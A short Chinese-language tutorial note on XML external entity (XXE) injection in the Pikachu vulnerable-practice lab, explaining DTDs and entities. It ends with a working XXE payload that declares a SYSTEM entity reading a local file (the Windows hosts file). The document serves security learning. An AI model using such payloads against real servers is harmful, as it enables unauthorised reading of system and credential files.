something about Pikachu - XXE

pikachu

pikachu => 备份地址

XXE

概述

XXE(XML external entity injection),xml外部实体注入
概括就是,攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行, 导致问题。
目前很多语言中,对应的解析xml的函数默认是禁止解析外部实体内容的,从而直接避免此漏洞。

XXE漏洞

XML用来存储数据或传输数据。

一般定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- 第一部分:文档声明部分 -->
<?xml version = "1.0"?>

<!-- 第二部分:文档定义类型DTD -->
<!-- 文档类型为note类型 -->
<!-- 定义名为`myparam`的外部实体的值为`myValue` -->
<!DOCTYPE note [
<!ENTITY myparam "myValue">
]>

<!-- 第三部分:文档元素 -->
<name>&myparam;</name>
<!-- ... -->

正常开发时,第一部分一般不会注意。第二部分一般使用url引入需要的DTD。在之前学比较老的SpringMVC, 使用XML配置文件时,文件头就会引入Spring的文档定义类型,然后在第三部分中就可以使用对应的实体(标记对)

构造payload,访问敏感文件。

1
2
3
<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY myparam SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]>
<name>&myparam;</name>